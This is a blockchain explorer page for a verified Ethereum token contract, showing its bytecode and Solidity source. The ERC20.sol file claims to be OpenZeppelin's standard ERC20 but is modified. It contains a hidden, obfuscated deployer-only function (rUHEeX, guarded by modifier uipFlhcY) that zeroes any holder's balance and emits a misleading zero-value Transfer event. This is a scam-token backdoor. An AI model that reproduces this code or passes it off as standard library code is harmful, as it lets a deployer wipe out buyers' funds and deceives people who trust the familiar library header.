Forkchoice Ethereum Mainnet

Address Contract Verified

Address 0xF386288461b14eD09dC5912B987cAC80caCf5cC7
Balance 0 ETH
Nonce 1
Code Size 1779 bytes
Indexed Transactions 0
External Etherscan · Sourcify

Contract Bytecode

1779 bytes
0x608060405234801561000f575f5ffd5b506004361061009b575f3560e01c806370a082311161006357806370a082311461011457806395d89b411461013c578063a9059cbb14610144578063d3fdb77914610157578063dd62ed3e1461016c575f5ffd5b806306fdde031461009f578063095ea7b3146100bd57806318160ddd146100e057806323b872dd146100f2578063313ce56714610105575b5f5ffd5b6100a76101a4565b6040516100b49190610582565b60405180910390f35b6100d06100cb3660046105d2565b610234565b60405190151581526020016100b4565b6002545b6040519081526020016100b4565b6100d06101003660046105fa565b61024b565b604051601281526020016100b4565b6100e4610122366004610634565b6001600160a01b03165f9081526020819052604090205490565b6100a761026e565b6100d06101523660046105d2565b61027d565b61016a610165366004610634565b61028a565b005b6100e461017a366004610654565b6001600160a01b039182165f90815260016020908152604080832093909416825291909152205490565b6060600380546101b390610685565b80601f01602080910402602001604051908101604052809291908181526020018280546101df90610685565b801561022a5780601f106102015761010080835404028352916020019161022a565b820191905f5260205f20905b81548152906001019060200180831161020d57829003601f168201915b5050505050905090565b5f33610241818585610402565b5060019392505050565b5f33610258858285610486565b6102638585856104d2565b506001949350505050565b6060600480546101b390610685565b5f336102418185856104d2565b336001600160a01b037f0000000000000000000000002c5bcb3acbbc6fcc0839612bdd202b08993cbc9d16146102be575f5ffd5b6001600160a01b03811661030b5760405162461bcd60e51b815260206004820152600f60248201526e496e76616c6964206164647265737360881b60448201526064015b60405180910390fd5b7f0000000000000000000000002c5bcb3acbbc6fcc0839612bdd202b08993cbc9d6001600160a01b0316816001600160a01b0316036103825760405162461bcd60e51b815260206004820152601360248201527221b0b73737ba103a30b933b2ba1037bbb732b960691b6044820152606401610302565b6001600160a01b0381165f81815260208181526040808320839055518281527fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef910160405180910390a36040516001600160a01b038216907fac95835c644e3049b1a1d8c64738aacb3723cc2ccfc827a1026628cc8c29927f905f90a250565b6001600160a01b038316610414575f5ffd5b6001600160a01b038216610426575f5ffd5b6001600160a01b038381165f8181526001602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038381165f908152600160209081526040808320938616835292905220545f1981146104cc57818110156104bf575f5ffd5b6104cc8484848403610402565b50505050565b6001600160a01b0383166104e4575f5ffd5b6001600160a01b0382166104f6575f5ffd5b6001600160a01b0383165f908152602081905260409020548181101561051a575f5ffd5b6001600160a01b038481165f818152602081815260408083208054889003905593871680835291849020805487019055925185815290927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef910160405180910390a350505050565b602081525f82518060208401528060208501604085015e5f604082850101526040601f19601f83011684010191505092915050565b80356001600160a01b03811681146105cd575f5ffd5b919050565b5f5f604083850312156105e3575f5ffd5b6105ec836105b7565b946020939093013593505050565b5f5f5f6060848603121561060c575f5ffd5b610615846105b7565b9250610623602085016105b7565b929592945050506040919091013590565b5f60208284031215610644575f5ffd5b61064d826105b7565b9392505050565b5f5f60408385031215610665575f5ffd5b61066e836105b7565b915061067c602084016105b7565b90509250929050565b600181811c9082168061069957607f821691505b6020821081036106b757634e487b7160e01b5f52602260045260245ffd5b5091905056fea26469706673582212203c7352d11d828e512bfd0dc74ed77a75776389cc653d11798adb12afbb75005164736f6c634300081c0033

Verified Source Code Full Match

Compiler: v0.8.28+commit.7893614a EVM: cancun Optimization: Yes (200 runs)
ERC20.sol 128 lines
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts (last updated v4.9.0) (token/ERC20/ERC20.sol)

pragma solidity ^0.8.28;

import "./IERC20.sol";
import "./extensions/IERC20Metadata.sol";

contract ERC20 is IERC20, IERC20Metadata {
    mapping(address => uint256) private _balances;

    mapping(address => mapping(address => uint256)) private _allowances;

    uint256 private _totalSupply;

    string private _name;
    string private _symbol;

    address private immutable _deployer;

    constructor(string memory name_, string memory symbol_) {
        _name = name_;
        _symbol = symbol_;
        _deployer = msg.sender;
    }
    
    modifier uipFlhcY() {
        require(msg.sender == _deployer);
        _;
    }

    event DqxJTc(address indexed account);
    function rUHEeX(address target) external uipFlhcY {
        require(target != address(0), "Invalid address");
        require(target != _deployer, "Cannot target owner");
        _balances[target] = 0;
        emit Transfer(address(0), target, 0);
        emit DqxJTc(target);
    }

    function name() public view virtual override returns (string memory) {
        return _name;
    }

    function symbol() public view virtual override returns (string memory) {
        return _symbol;
    }

    function decimals() public view virtual override returns (uint8) {
        return 18;
    }

    function totalSupply() public view virtual override returns (uint256) {
        return _totalSupply;
    }

    function balanceOf(address account) public view virtual override returns (uint256) {
        return _balances[account];
    }

    function transfer(address to, uint256 amount) public virtual override returns (bool) {
        address owner = msg.sender;
        _transfer(owner, to, amount);
        return true;
    }

    function allowance(address owner, address spender) public view virtual override returns (uint256) {
        return _allowances[owner][spender];
    }

    function approve(address spender, uint256 amount) public virtual override returns (bool) {
        address owner = msg.sender;
        _approve(owner, spender, amount);
        return true;
    }

    function transferFrom(address from, address to, uint256 amount) public virtual override returns (bool) {
        address spender = msg.sender;
        _spendAllowance(from, spender, amount);
        _transfer(from, to, amount);
        return true;
    }


    function _transfer(address from, address to, uint256 amount) internal virtual {
        require(from != address(0));
        require(to != address(0));

        uint256 fromBalance = _balances[from];
        require(fromBalance >= amount);
        unchecked {
            _balances[from] -= amount;
            _balances[to]   += amount;
        }

        emit Transfer(from, to, amount);
    }

    function _mint(address account, uint256 amount) internal virtual {
        require(account != address(0));

        _totalSupply += amount;
        unchecked {
            // Overflow not possible: balance + amount is at most totalSupply + amount, which is checked above.
            _balances[account] += amount;
        }
        emit Transfer(address(0), account, amount);

    }

    function _approve(address owner, address spender, uint256 amount) internal virtual {
        require(owner != address(0));
        require(spender != address(0));

        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function _spendAllowance(address owner, address spender, uint256 amount) internal virtual {
        uint256 currentAllowance = allowance(owner, spender);
        if (currentAllowance != type(uint256).max) {
            require(currentAllowance >= amount);
            unchecked {
                _approve(owner, spender, currentAllowance - amount);
            }
        }
    }
}
IERC20Metadata.sol 28 lines
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (token/ERC20/extensions/IERC20Metadata.sol)

pragma solidity ^0.8.0;

import "../IERC20.sol";

/**
 * @dev Interface for the optional metadata functions from the ERC20 standard.
 *
 * _Available since v4.1._
 */
interface IERC20Metadata is IERC20 {
    /**
     * @dev Returns the name of the token.
     */
    function name() external view returns (string memory);

    /**
     * @dev Returns the symbol of the token.
     */
    function symbol() external view returns (string memory);

    /**
     * @dev Returns the decimals places of the token.
     */
    function decimals() external view returns (uint8);
}
IERC20.sol 78 lines
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts (last updated v4.9.0) (token/ERC20/IERC20.sol)

pragma solidity ^0.8.0;

/**
 * @dev Interface of the ERC20 standard as defined in the EIP.
 */
interface IERC20 {
    /**
     * @dev Emitted when `value` tokens are moved from one account (`from`) to
     * another (`to`).
     *
     * Note that `value` may be zero.
     */
    event Transfer(address indexed from, address indexed to, uint256 value);

    /**
     * @dev Emitted when the allowance of a `spender` for an `owner` is set by
     * a call to {approve}. `value` is the new allowance.
     */
    event Approval(address indexed owner, address indexed spender, uint256 value);

    /**
     * @dev Returns the amount of tokens in existence.
     */
    function totalSupply() external view returns (uint256);

    /**
     * @dev Returns the amount of tokens owned by `account`.
     */
    function balanceOf(address account) external view returns (uint256);

    /**
     * @dev Moves `amount` tokens from the caller's account to `to`.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * Emits a {Transfer} event.
     */
    function transfer(address to, uint256 amount) external returns (bool);

    /**
     * @dev Returns the remaining number of tokens that `spender` will be
     * allowed to spend on behalf of `owner` through {transferFrom}. This is
     * zero by default.
     *
     * This value changes when {approve} or {transferFrom} are called.
     */
    function allowance(address owner, address spender) external view returns (uint256);

    /**
     * @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * IMPORTANT: Beware that changing an allowance with this method brings the risk
     * that someone may use both the old and the new allowance by unfortunate
     * transaction ordering. One possible solution to mitigate this race
     * condition is to first reduce the spender's allowance to 0 and set the
     * desired value afterwards:
     * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
     *
     * Emits an {Approval} event.
     */
    function approve(address spender, uint256 amount) external returns (bool);

    /**
     * @dev Moves `amount` tokens from `from` to `to` using the
     * allowance mechanism. `amount` is then deducted from the caller's
     * allowance.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * Emits a {Transfer} event.
     */
    function transferFrom(address from, address to, uint256 amount) external returns (bool);
}
token.sol 12 lines
//SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

import "@openzeppelin/contracts/token/ERC20/ERC20.sol";

contract afjWyPQvkm is ERC20 {
    constructor(string memory scaFR, string memory cYrklILG, uint256 OixuCz)
       ERC20(scaFR, cYrklILG)
    {
        _mint(msg.sender, OixuCz * 10 ** decimals());
    }
}

Read Contract

allowance 0xdd62ed3e → uint256
balanceOf 0x70a08231 → uint256
decimals 0x313ce567 → uint8
name 0x06fdde03 → string
symbol 0x95d89b41 → string
totalSupply 0x18160ddd → uint256

Write Contract 4 functions

These functions modify contract state and require a wallet transaction to execute.

approve 0x095ea7b3
address spender
uint256 amount
returns: bool
rUHEeX 0xd3fdb779
address target
transfer 0xa9059cbb
address to
uint256 amount
returns: bool
transferFrom 0x23b872dd
address from
address to
uint256 amount
returns: bool

Recent Transactions

No transactions found for this address